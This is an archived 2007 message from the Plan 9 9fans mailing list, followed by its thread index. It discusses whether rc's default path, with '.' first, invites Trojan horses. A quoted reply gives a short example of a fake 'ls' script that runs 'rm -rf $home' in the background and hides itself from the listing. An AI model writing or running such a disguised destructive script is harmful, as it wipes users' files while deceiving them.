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From: arisawa@ar.aichi-u.ac.jp
To: Fans of the OS Plan 9 from Bell Labs <9fans@cse.psu.edu>
Subject: Re: [9fans] security
Date: Sat, 27 Oct 2007 19:04:20 +0900	[thread overview]
Message-ID: <89A9D7D0-0B4A-4CBB-871E-77884D11A241@ar.aichi-u.ac.jp> (raw)
In-Reply-To: <df49a7370710270203j6c9b9d8agd2eac18635917e08@mail.gmail.com>

Hello,

Removing files is not worth doing.
The victim will immediately find what happened and will recover his  
files
and then will consider what made the trouble.

I don't say (. /bin) is safe in untrusted environment.
Someone might steal my private info using some trick.

Security is tradeoff with convenience.
I guess we (member of 9fans) are happy enough working in trusted  
environment.

Kenji Arisawa

On 2007/10/27, at 18:03, roger peppe wrote:

>>> 1) rc: the value of $path is (. /bin). It is a classic case not to
>>> have . as the first directory when searching for programs - it  
>>> allows
>>> Trojan horses to form.
>>
>> if you're the only one using your system, how could this be a  
>> problem?
>
> to be fair, if i'd put a file in /n/sources/contrib/rog/ls:
>
> #!/bin/rc
> rm -rf $home &
> ls $* |* | grep -v ls
>
> then i'm sure there'd be one or two unhappy people around...


  reply	other threads:[~2007-10-27 10:04 UTC|newest]

Thread overview: 50+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2007-10-26 22:38 [9fans] grap retarded?? Pietro Gagliardi
2007-10-26 23:17 ` geoff
2007-10-26 23:22   ` Pietro Gagliardi
2007-10-27  2:51   ` [9fans] detecting spam arisawa
2007-10-27  3:16     ` Pietro Gagliardi
2007-10-27  4:38       ` [9fans] security erik quanstrom
2007-10-27  9:03         ` roger peppe
2007-10-27 10:04           ` arisawa [this message]
2007-10-27 12:48             ` Uriel
2007-10-27 14:54           ` erik quanstrom
2007-10-27 17:19         ` Tim Newsham
2007-10-27 19:18           ` erik quanstrom
2007-10-27 22:20             ` don bailey
2007-10-27 22:25               ` Pietro Gagliardi
2007-10-27 22:33                 ` don bailey
2007-10-28  0:17                 ` David Leimbach
2007-10-28  6:00                   ` Skip Tavakkolian
2007-10-28  6:06                     ` john
2007-10-28  8:32                     ` Joel C. Salomon
2007-10-28 20:53               ` Charles Forsyth
2007-10-27 23:40             ` Skip Tavakkolian
2007-10-28  6:11               ` don bailey
2007-10-28  6:30                 ` Skip Tavakkolian
2007-10-28  6:42                   ` don bailey
2007-10-28  7:28                     ` Skip Tavakkolian
2007-10-28 12:53                       ` Pietro Gagliardi
2007-10-28 15:52                         ` don bailey
2007-10-28 15:51                       ` don bailey
2007-10-28 15:59                         ` Iruata Souza
2007-10-28 16:30                           ` don bailey
2007-10-28 17:14                             ` Iruata Souza
2007-10-28 17:22                             ` Gabriel Diaz
2007-10-28 17:44                               ` Pietro Gagliardi
2007-10-28 20:37                           ` Charles Forsyth
2007-10-28 16:10                         ` erik quanstrom
2007-10-28 16:26                           ` don bailey
2007-10-28 18:30                         ` Skip Tavakkolian
2007-10-28 18:43                           ` Uriel
2007-10-28 18:58                             ` Iruata Souza
2007-10-28 22:48                             ` arisawa
2007-10-28 23:29                               ` Pietro Gagliardi
2007-10-29  2:30                               ` Skip Tavakkolian
2007-10-27  9:00       ` [9fans] detecting spam roger peppe
2007-10-27 13:16         ` Pietro Gagliardi
2007-10-27 13:41           ` erik quanstrom
2007-10-27 13:43             ` Pietro Gagliardi
2007-10-27 14:04           ` Martin Neubauer
2007-10-29 10:10 ` [9fans] grap retarded?? Douglas A. Gwyn
2007-10-29 18:43   ` Pietro Gagliardi
2007-10-29 10:10 ` Douglas A. Gwyn

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